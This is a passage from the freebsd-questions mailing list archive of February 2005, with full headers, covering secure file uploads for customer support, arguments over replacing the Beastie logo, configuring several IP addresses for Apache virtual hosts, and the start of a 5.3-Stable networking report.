b=Fxp2KqIGorYlXJ4ySWrqdNJNjSiRRjiNQPK8Jl7S7rra0OV1gKEjDFPcUqSTZ3442QBobqePe5FIWh+YO6nWnajBmm5USAxvG65z+asBHxy3v1fKDHEtvKBfmWsvuZvn46S5o0DVs3oHEc9W4ZNeOwG0P3bLa3HwvrZetBA9Hno= Received: by 10.54.7.2 with SMTP id 2mr53934wrg; Thu, 10 Feb 2005 16:39:42 -0800 (PST) Received: by 10.54.50.75 with HTTP; Thu, 10 Feb 2005 16:39:41 -0800 (PST) Message-ID: <8af8258905021016393526dcbc@mail.gmail.com> Date: Thu, 10 Feb 2005 19:39:41 -0500 From: Danie Du Toit To: "Andrew L. Gould" In-Reply-To: <200502101440.47202.algould@datawok.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <8af82589050210084137ab01df@mail.gmail.com> <1284162049.20050210212854@wanadoo.fr> <200502101440.47202.algould@datawok.com> cc: freebsd-questions@freebsd.org cc: Anthony Atkielski Subject: Re: Secure file transfers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Danie Du Toit List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 00:45:13 -0000 I am sorry, the requirements was a bit vague. A customer will call in with a issue and I'll request they send me log files, crashdumps, sniffer traces, etc. If the info is, say less than 5MB, I request they mail me the file zipped (password encryped) as most users do not have pgp or a secure ftp client (mostly windows users). Larger files must be FTP'd. Well of course there is the security concern. I believe one can set up a Apache server with SSL to PHP and have the client browse to the server and upload the files securely (without having to load any additional client software on their windows PC's/servers) I am running a 5.3 box and have some issues installing Apache/SSL/PHP due to dependencies mismatches. On Thu, 10 Feb 2005 14:40:47 -0600, Andrew L. Gould wrote: > On Thursday 10 February 2005 02:28 pm, Anthony Atkielski wrote: > > Danie Du Toit writes: > > > Which packages are available to upload /download large dumpfiles in > > > a secure fashion (e.g. using SSL). The customer should not need any > > > secure client installed on his PC. > > > > Anything that is secure will require appropriate software at both > > ends of the transfer, and thus will require some sort of > > security-aware client on the customer's PC. > > > > SFTP provides secure file transfers. I use SecureFX on my client > > machine, and the standard SFTP server on the FreeBSD server. > > How about webdav over SSL (https)? > > The easiest webdav client that I've found in *nix is Konqueror. Windows > (2K, XP) and Mac OSX have support for webdav by default. > > Andrew Gould > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 00:46:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9988716A4CE for ; Fri, 11 Feb 2005 00:46:32 +0000 (GMT) Received: from smtpauth07.mail.atl.earthlink.net (smtpauth07.mail.atl.earthlink.net [209.86.89.67]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6BAA643D1D for ; Fri, 11 Feb 2005 00:46:32 +0000 (GMT) (envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=[192.168.63.10]) by smtpauth07.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1CzOx1-0004Za-Vv; Thu, 10 Feb 2005 19:46:28 -0500 From: "Andrew L. Gould" To: freebsd-questions@freebsd.org Date: Thu, 10 Feb 2005 18:47:01 -0600 User-Agent: KMail/1.6.2 References: <420BF1E0.6090809@eng.ufl.edu> <420BF588.80306@hamletinc.com> In-Reply-To: <420BF588.80306@hamletinc.com> MIME-Version: 1.0 Content-Disposition: inline Message-Id: <200502101847.01531.algould@datawok.com> Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bcbce958fd4606e4c78d6fee4863cf9236350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 cc: Jacob S cc: "Mark A. Garcia" cc: Bob Johnson Subject: Re: Please don't change Beastie to another logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 00:46:32 -0000 On Thursday 10 February 2005 06:00 pm, Mark A. Garcia wrote: > > > I'd like to hear a story of a system administrator who has chosen not > to use FreeBSD explicitly because of the logo. That would be way > more entertaining. Everyone could learn more about human nature. > > -.mag If you're trying to limit the argument to a specific cause-and-effect relationship between the logo and choice of OS, you're missing a larger picture composed of several issues. There are many facets of this issue that affect current FreeBSD users. For example, I chose FreeBSD; but getting approval from my employer was an uphill battle. Other issues include logo printability (and quality thereof), and license issues. Best regards, Andrew Gould From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 01:05:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3B5D716A4CE for ; Fri, 11 Feb 2005 01:05:21 +0000 (GMT) Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 35E0443D1D for ; Fri, 11 Feb 2005 01:05:20 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 11 Feb 2005 01:05:16 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp029) with SMTP; 11 Feb 2005 02:05:16 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: "Frank J. Laszlo" , freebsd-questions@freebsd.org, atkielski.anthony@wanadoo.fr Date: Fri, 11 Feb 2005 01:59:44 +0100 X-Mailer: KMail [version 1.3.2] References: <200502092223.01650.algould@datawok.com> <1661596661.20050210234947@wanadoo.fr> <420BFDCF.1000409@tvog.net> In-Reply-To: <420BFDCF.1000409@tvog.net> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050211010520.35E0443D1D@mx1.FreeBSD.org> Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 01:05:21 -0000 alot of discussions going on the past 48 hours about this topic, i guess there is alot of room for explanations left, that ppls want to hear, why not give the ppls that actually stand behind FreeBSD and behind the logo contest or whatever it is a chance to tell us what they where thinking about when they started the contest? also id like to know, *is* FreeBSD now coperate, like the previous poster tried to point out, or do we still have the bsd license here? cheers on a late night discussion) oliver. On Friday 11 February 2005 01:35, Frank J. Laszlo wrote: > Anthony Atkielski wrote: > >Frank Laszlo writes: > >>Yes, Process colors being 4 plates, but rendered properly, it could be > >>less. > > > >All process printing requires four (or six) colors. That's what process > >means. > > > >>The current "logo" as it is shown on freebsd.org, COULD be printed on 2 > >>plates, as a 2 color job. those colors being black and red. > > > >Possibly. It would still look odd, though. > > > >>This isnt an issue with todays modern digital 4 color presses such as > >>the iGen3. > > > >It's an issue with any press. Digital presses have less trouble with > >registration, but they aren't any better at getting the line frequencies > >higher. Indeed, normal offset provides higher frequencies. > > > >>It has no problem with registration if ran by a qualified > >>operator. Now if you are a 80's or 90's printer using an old heidelburg > >>2 color press, sure.. registration is very difficult when dealing with > >>small print and screens. > > > >What sort of printer would FreeBSD best be able to afford? > > Well, I'm not going into budget issues, but yes you have a point here. I > am open to quote any print > job if the FreeBSD Foundation so chooses to do official corporate print > work. e.g. letterhead, business > cards, printed manuals, etc.. I would of course give my normal discount > as I do with any other non-profit > organizations. > > >>Furthermore, anyone with experience in the modern printing world knows > >>that getting high quality (and affordable) printed artwork on a small > >>piece is very simple when using the right equipment. > > > >It doesn't matter what equipment you use. Small artwork with lots of > >fine detail reduces poorly; if it contains halftones, it reduces even > >more poorly. > > Who says it has to be small? and how small are you talking for print > work? on a CD? thats not very small IMHO. One > should be able to attain excellent quality at that size. I consider > "small" artwork to be < 1in. > > >>I've done several of these type of jobs on the iGen3 we have here at > >>my office. Anyways, this is WAY off from the original post, So I end > >>it with that. > > > >Actually it is highly relevant, since a key reason for developing a > >simple logo is to make it easy to display and print. > > Getting back to the point at hand, the beastie is nothing more than a > mascot. plain and simple. But people > are talking like there will be no more beastie representing FreeBSD. I > dont think this is the point. > > Also, whoever started that petition needs to actually get some inside > information other than a "non publicized" (sp?) > anouncement. The true intention of this logo contest is likely to give > more of a corporate identity to freebsd as a whole. > I am now done with this thread. Once again, I will end it. (hopefully) :) > > > Kind Regards, > Frank Laszlo > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 01:10:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0EC2A16A4CE for ; Fri, 11 Feb 2005 01:10:28 +0000 (GMT) Received: from sccmmhc91.asp.att.net (sccmmhc91.asp.att.net [204.127.203.211]) by mx1.FreeBSD.org (Postfix) with ESMTP id AD44443D39 for ; Fri, 11 Feb 2005 01:10:27 +0000 (GMT) (envelope-from m.hauber@mchsi.com) Received: from wizard.valleygate.net (12-219-204-24.client.mchsi.com[12.219.204.24]) by sccmmhc91.asp.att.net (sccmmhc91) with ESMTP id <20050211011027m9100ovem6e>; Fri, 11 Feb 2005 01:10:27 +0000 From: Mike Hauber To: freebsd-questions@freebsd.org Date: Thu, 10 Feb 2005 20:13:14 -0500 User-Agent: KMail/1.7.2 References: <200502091349.00708.algould@datawok.com> <255946599.20050210234603@wanadoo.fr> <20050210154833.G81852@server1.ultratrends.com> In-Reply-To: <20050210154833.G81852@server1.ultratrends.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502102013.14837.m.hauber@mchsi.com> Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: m.hauber@mchsi.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 01:10:28 -0000 On Thursday 10 February 2005 05:49 pm, Technical Director wrote: > On Thu, 10 Feb 2005, Anthony Atkielski wrote: > > No. While Beastie is cute and well executed, it's not > > professional graphic art. > > Here here... > > Rob. I have two questions. These are not accusations, but questions and I don't want accusations in response. 1. Why was this so hush-hush (ie, Why was it "leakable" (ie, why the secrecy, if FreeBSD is supposed to be a project where everyone can take part in?))) 2. Does Apple have, or has Apple had anything to do with this decision (and if so, then who, how and why (or is the answer to that supposed to be "hush-hush" too))? If someone out there is honest and forthcoming, we'd all like to know the answers to this... And quite frankly, it doesn't take weeks to figure out how to use correct grammar in an announcement or a responce (and even if the grammar is left _so_ wanting, take a look at the archives for this list. It can't be all _that_ bad, can it?) Thank you in advance for at least a reasonable response. Mike (FreeBSD devotee & evangelist (for now)) From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 01:55:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0CCF116A4CE for ; Fri, 11 Feb 2005 01:55:02 +0000 (GMT) Received: from mail22.sea5.speakeasy.net (mail22.sea5.speakeasy.net [69.17.117.24]) by mx1.FreeBSD.org (Postfix) with ESMTP id C898543D1F for ; Fri, 11 Feb 2005 01:55:01 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 1106 invoked from network); 11 Feb 2005 01:55:01 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail22.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 11 Feb 2005 01:55:01 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 1469882; Thu, 10 Feb 2005 20:55:00 -0500 (EST) Sender: lowell@be-well.ilk.org To: Ken Hawkins References: <094c6888335eff7ca415bc1c475e42bb@rosewoodblues.com> <448y5x36jq.fsf@be-well.ilk.org> From: Lowell Gilbert Date: 10 Feb 2005 20:54:59 -0500 In-Reply-To: Message-ID: <44psz7j1xo.fsf@be-well.ilk.org> Lines: 50 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: freebsd-questions@freebsd.org Subject: Re: single box handling multiple ips, how? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 01:55:02 -0000 Ken Hawkins writes: > I do not know what the 'web1.a.net.' is about, more specifically he > .net"." (dot on the end). i took this for the initial setup that was > done on the box' initial entry in the /etc/hosts. It looks like a DNS map, but that's not what should go in hosts(5). > ok what am i doing... > > I have apache running on the box and would like to use 3 diffferent > IP's to try and keep (somewhat separate) the traffic, logging, > etc. for the Virtual Hosts that are running there. > > ultimately I will have; > > resolve to -> website 1 > resolve to -> website 2 > resolve to -> website 3 > > obviously they will bind to the same box but i would like to have them > to separate ip's to ease some maintenance on the box, redirect traffic > when needed, blah, blah. > > I know that I can Name more than one VirtualHost ie; > NameVirtualHost ???.???.???.151:80 > NameVirtualHost ???.???.???.152:80 > NameVirtualHost ???.???.???.153:80 > > and then the normal VirtualHost directive via IP's but I want to make > sure that the box will answer to those ip's when we flip the DNS > switch. > > am i making sense? did i leave anything beyond the bind directive's out? Sure, it makes sense, but you're making it more complicated than you need to. At the very least, you're making the description more complicated than you need to. Don't worry about virtual hosts on Apache until you have the DNS configured for the addresses. And don't worry about the DNS until you have all of the IP addresses configured on the relevant interface. So the first step will be configuring the interface. Verify this by pinging each of the addresses from outside. The next step will be configuring the DNS, which you can test by pinging the distinct DNS name for each address in turn. Then once that is working, you can configure Apache to handle IP-based virtual hosts for each address. Good luck. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 02:15:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C7BE916A4CE for ; Fri, 11 Feb 2005 02:15:04 +0000 (GMT) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id ED0E143D31 for ; Fri, 11 Feb 2005 02:15:03 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 11 Feb 2005 02:15:02 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp003) with SMTP; 11 Feb 2005 03:15:02 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: freebsd-questions@freebsd.org, Lowell Gilbert , Ken Hawkins Date: Fri, 11 Feb 2005 03:09:33 +0100 X-Mailer: KMail [version 1.3.2] References: <094c6888335eff7ca415bc1c475e42bb@rosewoodblues.com> <44psz7j1xo.fsf@be-well.ilk.org> In-Reply-To: <44psz7j1xo.fsf@be-well.ilk.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050211021503.ED0E143D31@mx1.FreeBSD.org> cc: freebsd-questions@freebsd.org Subject: Re: single box handling multiple ips, how? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 02:15:05 -0000 On Friday 11 February 2005 02:54, Lowell Gilbert wrote: > Ken Hawkins writes: > > I do not know what the 'web1.a.net.' is about, more specifically he > > .net"." (dot on the end). i took this for the initial setup that was > > done on the box' initial entry in the /etc/hosts. > > It looks like a DNS map, but that's not what should go in hosts(5). a view on my /etc/hosts ::1 localhost.localnet localhost 127.0.0.1 localhost.localnet localhost 192.168.xxx.3 thispc.localnet thispc 192.168.xxx.3 thispc.localnet. 192.168.xxx.2 pc02.localnet pc02 192.168.xxx.5 pc03.localnet pc03 192.168.xxx.8 pc04.localnet pc04 > > > ok what am i doing... > > > > I have apache running on the box and would like to use 3 diffferent > > IP's to try and keep (somewhat separate) the traffic, logging, > > etc. for the Virtual Hosts that are running there. > > > > ultimately I will have; > > > > resolve to -> website 1 > > resolve to -> website 2 > > resolve to -> website 3 > > > > obviously they will bind to the same box but i would like to have them > > to separate ip's to ease some maintenance on the box, redirect traffic > > when needed, blah, blah. > > > > I know that I can Name more than one VirtualHost ie; > > NameVirtualHost ???.???.???.151:80 > > NameVirtualHost ???.???.???.152:80 > > NameVirtualHost ???.???.???.153:80 > > > > and then the normal VirtualHost directive via IP's but I want to make > > sure that the box will answer to those ip's when we flip the DNS > > switch. > > > > am i making sense? did i leave anything beyond the bind directive's out? > > Sure, it makes sense, but you're making it more complicated than you > need to. At the very least, you're making the description more > complicated than you need to. > > Don't worry about virtual hosts on Apache until you have the DNS > configured for the addresses. And don't worry about the DNS until you > have all of the IP addresses configured on the relevant interface. > > So the first step will be configuring the interface. Verify this by > pinging each of the addresses from outside. The next step will be > configuring the DNS, which you can test by pinging the distinct DNS > name for each address in turn. Then once that is working, you can > configure Apache to handle IP-based virtual hosts for each address. > > Good luck. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 02:15:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3501F16A4CE for ; Fri, 11 Feb 2005 02:15:06 +0000 (GMT) Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 5AEDF43D31 for ; Fri, 11 Feb 2005 02:15:05 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 11 Feb 2005 02:15:02 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp003) with SMTP; 11 Feb 2005 03:15:02 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: freebsd-questions@freebsd.org, Lowell Gilbert , Ken Hawkins Date: Fri, 11 Feb 2005 03:09:33 +0100 X-Mailer: KMail [version 1.3.2] References: <094c6888335eff7ca415bc1c475e42bb@rosewoodblues.com> <44psz7j1xo.fsf@be-well.ilk.org> In-Reply-To: <44psz7j1xo.fsf@be-well.ilk.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050211021505.5AEDF43D31@mx1.FreeBSD.org> cc: freebsd-questions@freebsd.org Subject: Re: single box handling multiple ips, how? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 02:15:06 -0000 On Friday 11 February 2005 02:54, Lowell Gilbert wrote: > Ken Hawkins writes: > > I do not know what the 'web1.a.net.' is about, more specifically he > > .net"." (dot on the end). i took this for the initial setup that was > > done on the box' initial entry in the /etc/hosts. > > It looks like a DNS map, but that's not what should go in hosts(5). a view on my /etc/hosts ::1 localhost.localnet localhost 127.0.0.1 localhost.localnet localhost 192.168.xxx.3 thispc.localnet thispc 192.168.xxx.3 thispc.localnet. 192.168.xxx.2 pc02.localnet pc02 192.168.xxx.5 pc03.localnet pc03 192.168.xxx.8 pc04.localnet pc04 > > > ok what am i doing... > > > > I have apache running on the box and would like to use 3 diffferent > > IP's to try and keep (somewhat separate) the traffic, logging, > > etc. for the Virtual Hosts that are running there. > > > > ultimately I will have; > > > > resolve to -> website 1 > > resolve to -> website 2 > > resolve to -> website 3 > > > > obviously they will bind to the same box but i would like to have them > > to separate ip's to ease some maintenance on the box, redirect traffic > > when needed, blah, blah. > > > > I know that I can Name more than one VirtualHost ie; > > NameVirtualHost ???.???.???.151:80 > > NameVirtualHost ???.???.???.152:80 > > NameVirtualHost ???.???.???.153:80 > > > > and then the normal VirtualHost directive via IP's but I want to make > > sure that the box will answer to those ip's when we flip the DNS > > switch. > > > > am i making sense? did i leave anything beyond the bind directive's out? > > Sure, it makes sense, but you're making it more complicated than you > need to. At the very least, you're making the description more > complicated than you need to. > > Don't worry about virtual hosts on Apache until you have the DNS > configured for the addresses. And don't worry about the DNS until you > have all of the IP addresses configured on the relevant interface. > > So the first step will be configuring the interface. Verify this by > pinging each of the addresses from outside. The next step will be > configuring the DNS, which you can test by pinging the distinct DNS > name for each address in turn. Then once that is working, you can > configure Apache to handle IP-based virtual hosts for each address. > > Good luck. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 02:47:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3D5E716A4CF for ; Fri, 11 Feb 2005 02:47:07 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.205]) by mx1.FreeBSD.org (Postfix) with ESMTP id B739343D45 for ; Fri, 11 Feb 2005 02:47:06 +0000 (GMT) (envelope-from linicks@gmail.com) Received: by rproxy.gmail.com with SMTP id 34so251060rns for ; Thu, 10 Feb 2005 18:47:06 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=HAPxRmFnAX7x++f3+729Z3j3Z9eu4gOCU20flPaexnOltfnF1Cswb9GfvlK7hMTysE6rokEvBdbMQZDabHec8PcGjQmfsEZIMWJCOd2HRYZ571GURJdU1OKSP5f1wCZgOpV5j1nmNZt1EvcvfX8MUPOzVIbTtWjdEbEqTmM1ylo= Received: by 10.38.179.13 with SMTP id b13mr23338rnf; Thu, 10 Feb 2005 18:47:04 -0800 (PST) Received: by 10.38.8.20 with HTTP; Thu, 10 Feb 2005 18:47:04 -0800 (PST) Message-ID: Date: Thu, 10 Feb 2005 19:47:04 -0700 From: Nick Pavlica To: Stephan Lichtenauer In-Reply-To: <163A0D80-7B48-11D9-B2EC-000A95D5F764@mnet-online.de> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502091349.00708.algould@datawok.com> <420AE14F.6050104@pacific.net.sg> <200502092248.15008.algould@datawok.com> <200502092133.04884.krinklyfig@spymac.com> <259024940.20050210102037@wanadoo.fr> <163A0D80-7B48-11D9-B2EC-000A95D5F764@mnet-online.de> cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Nick Pavlica List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 02:47:07 -0000 Personally I'm very happy that they are changing the logo. Thanks to those that decided to take the plunge to do this! --Nick On Thu, 10 Feb 2005 10:42:32 +0100, Stephan Lichtenauer wrote: > > Am 10.02.2005 um 10:20 schrieb Anthony Atkielski: > > > Joshua Tinnin writes: > > > > I don't think that a logo makes or breaks deals, but from a public > > relations and marketing standpoint a good logo is extremely useful, and > > the lack of a logo (or a very busy logo that's hard to use and > > recognize) can be a liability. > > > > > I agree. I even would bring back the issue of a separate freebsd.com > website presenting the business case of FreeBSD while freebsd.org is > perfect as it is now for people looking for technical information about > how to use the system. > > Stephan > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 02:49:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A721416A4CE for ; Fri, 11 Feb 2005 02:49:11 +0000 (GMT) Received: from server1.ultratrends.com (S01060004e20310fa.rd.shawcable.net [70.65.87.221]) by mx1.FreeBSD.org (Postfix) with ESMTP id 168D943D39 for ; Fri, 11 Feb 2005 02:49:10 +0000 (GMT) (envelope-from technical@ultratrends.com) Received: from server1.ultratrends.com (localhost [127.0.0.1]) j1B2n8Ei082227 for ; Thu, 10 Feb 2005 19:49:09 -0700 (MST) (envelope-from trodat@server1.ultratrends.com) Received: from localhost (trodat@localhost)j1B2n8hc082224 for ; Thu, 10 Feb 2005 19:49:08 -0700 (MST) (envelope-from trodat@server1.ultratrends.com) Date: Thu, 10 Feb 2005 19:49:08 -0700 (MST) From: Technical Director To: freebsd-questions@freebsd.org In-Reply-To: <200502102013.14837.m.hauber@mchsi.com> Message-ID: <20050210193807.O82212@server1.ultratrends.com> References: <200502091349.00708.algould@datawok.com> <255946599.20050210234603@wanadoo.fr> <200502102013.14837.m.hauber@mchsi.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Milter: Spamilter (Reciever: server1.ultratrends.com; Sender-ip: 127.0.0.1; Sender-helo: server1.ultratrends.com;) Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 02:49:11 -0000 On Thu, 10 Feb 2005, Mike Hauber wrote: > weeks to figure out how to use correct grammar in an announcement > or a responce (and even if the grammar is left _so_ wanting, take > a look at the archives for this list. It can't be all _that_ > bad, can it?) You raise issue with the grammar of tech heads who probably failed english as I did, yet you'll not at least accept that the logo on a professional scale leaves little to offer to someone trying to get a board room full of decision makers to move on it? Everyone is forgetting the obvious here. FreeBSD is *either* the fri*ee*ndly little OS, denoted by that 'cute' daemon, or it is a competitive alternative to the bird cage boxes that Microsoft, Sun, Compaq and the rest of the big group puts their product in. We want FreeBSD Java, FreeBSD hardware drivers and all the new hardware to go with "our" system. Yet if these companies see "our" sites, cds or books what do they get first? Cute I guess. You would think that the core group had removed the entire source tree on this and replaced it with KERNEL32.EXE and an assortment of *.dlls for some reason here. I think it is an interesting competition with little expense surely to give good amounts of items to ponder. Maybe some graphix guru out there will be able to cross the worlds from the evangelist daemon'ists to the reformists? 2 cents. Rob. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 02:56:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A2BC916A4CE for ; Fri, 11 Feb 2005 02:56:21 +0000 (GMT) Received: from gizmo05bw.bigpond.com (gizmo05bw.bigpond.com [144.140.70.40]) by mx1.FreeBSD.org (Postfix) with SMTP id 6A68943D3F for ; Fri, 11 Feb 2005 02:56:20 +0000 (GMT) (envelope-from diskiller@diskiller.net) Received: (qmail 28121 invoked from network); 11 Feb 2005 02:56:17 -0000 Received: from unknown (HELO bwmam11.bigpond.com) (144.135.24.100) by gizmo05bw.bigpond.com with SMTP; 11 Feb 2005 02:56:17 -0000 Received: from cpe-144-136-223-204.sa.bigpond.net.au ([144.136.223.204]) by bwmam11.bigpond.com(MAM REL_3_4_2a 174/52957674) with SMTP id 52957674; Fri, 11 Feb 2005 12:56:16 +1000 User-Agent: Microsoft-Entourage/11.1.0.040913 Date: Fri, 11 Feb 2005 13:26:16 +1030 From: Martin Minkus To: Message-ID: Mime-version: 1.0 Content-type: text/plain; charset="ISO-8859-1" Content-transfer-encoding: quoted-printable Subject: 5.3-Stable network issue X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 02:56:21 -0000 I seem to have been having a rather strange networking issue in FreeBSD 5.3-Stable (it started happening immediately after 5.2.1 and has persisted since.. I keep =B3hoping=B2 that next time I cvsup it will be fixed, but no). I downgraded back to 5.2.1-p13 and it is perfectly fine once again. *** Some background 